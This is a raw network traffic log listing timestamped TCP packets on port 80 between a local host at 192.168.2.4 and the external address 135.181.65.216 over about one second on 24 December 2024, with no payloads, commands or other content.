Dec 24, 2024 22:27:19.137399912 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.137609959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.137923956 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.138075113 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.138119936 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.138151884 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.138163090 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.138191938 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.138485909 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.138530970 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.138968945 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.138978004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.139017105 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.139144897 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.139157057 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.139193058 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.139782906 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.139930964 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.139940977 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.139980078 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.140228987 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.140651941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.140700102 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.140815973 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.140825987 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.140871048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.141021967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.141470909 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.141519070 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.141592026 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.141602993 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.141639948 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.141905069 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.142366886 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.142376900 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.142416000 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.142541885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.142553091 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.142594099 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.143203974 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.143244982 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.143249989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.143260956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.143320084 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.143326998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.143467903 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.144051075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.144098997 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.144165039 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.144175053 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.144206047 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.144762039 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.144807100 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.144973993 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.144984007 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.145013094 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.145023108 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.145153046 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.145164013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.145205975 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.316066027 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.316173077 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.316184044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.316236973 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.316468000 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.316518068 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.316675901 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.316692114 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.316710949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.316718102 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.316732883 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.316745996 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.317329884 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.317416906 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.317426920 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.317462921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.317744970 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.317786932 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.317954063 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.317965031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.318005085 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.318253040 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.318264008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.318294048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.318782091 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.318876028 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.318892002 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.318924904 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.318934917 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.319247007 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.319478989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.319643021 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.319653988 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.319696903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.319832087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.319842100 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.319880962 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.320405006 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.320456982 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.320569992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.320580959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.320620060 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.320873022 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.320997953 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.321250916 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.321295023 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.321352959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.321397066 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.321405888 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.321414948 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.321432114 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.321454048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.322155952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.322269917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.322280884 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.322318077 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.322566032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.322772980 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.322998047 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.323085070 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.323126078 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.323136091 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.323163033 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.323182106 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.323470116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.323514938 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.323904037 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.323959112 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.323976994 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.324048996 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.324126005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.324136972 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.324174881 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.324712992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.324762106 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.324837923 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.324850082 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.324891090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.325129986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.325180054 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.325562954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.325691938 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.325701952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.325737000 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.325989008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.326451063 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.326462030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.326504946 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.326586962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.326602936 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.326627016 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.326656103 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.327265024 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.327316046 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.327392101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.327403069 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.327433109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.327444077 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.327704906 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.328152895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.328198910 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.564039946 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.683936119 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.985919952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.985941887 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.985950947 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.985980988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.986007929 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.986221075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.986265898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.987122059 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.987133026 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.987143040 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.987164974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.987183094 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.988435030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.988487959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.988507032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.988518953 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.988548994 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.988858938 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.988898039 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:19.989000082 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.989010096 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:19.989052057 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.094315052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.094363928 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.094420910 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.094432116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.094461918 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.094731092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.094774961 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.094914913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.094924927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.094969988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.095225096 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.095235109 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.095272064 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.095547915 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.095587015 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.095715046 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.095750093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.095758915 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.095793009 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.096081018 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.096091986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.096124887 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.096142054 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.096642017 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.096652031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.096662045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.096692085 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.096709967 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.096854925 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.096901894 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.097434998 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.097445011 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.097487926 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.097621918 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.097632885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.097670078 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.098325014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.098335981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.098346949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.098370075 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.098390102 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.203121901 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.203142881 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.203149080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.203371048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.203442097 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.203488111 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.203545094 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.203556061 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.203598976 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.203825951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.203835964 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.203879118 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.204361916 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.204408884 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.204464912 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.204474926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.204515934 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.204684019 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.204732895 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.205049038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.205097914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.205168962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.205179930 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.205189943 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.205218077 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.205250978 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.206069946 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.206079960 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.206089973 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.206113100 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.206126928 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.206141949 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.206173897 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.206798077 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.206845999 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.206871033 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.206885099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.206913948 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.206923962 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.207113981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.207165003 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.207624912 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.207673073 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.207726955 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.207737923 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.207781076 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.207963943 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.208012104 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.208489895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.208501101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.208534956 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.208652020 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.208662987 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.208705902 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.209374905 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.209386110 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.209398031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.209414959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.209444046 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.209575891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.209621906 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.210258961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.210268974 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.210309029 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.210405111 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.210413933 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.210454941 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.211103916 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.211113930 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.211126089 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.211152077 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.211163998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.211282015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.211337090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.211941957 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.211990118 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.212011099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.212023020 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.212059021 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.212310076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.212357998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.311372995 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.311434984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.311459064 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.311469078 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.311501026 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.311517000 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.311686993 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.311732054 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.311794043 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.311846972 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.311913013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.311945915 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.311955929 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.311963081 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.311983109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.312012911 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.312469959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.312520981 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.312551022 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.312561035 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.312603951 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.312829018 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.312879086 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.313354015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.313400030 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.313420057 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.313429117 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.313472986 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.313662052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.313710928 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.314208031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:20.314258099 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:20.314276934 CET	80	49749	135.181.65.216	192.168.2.4
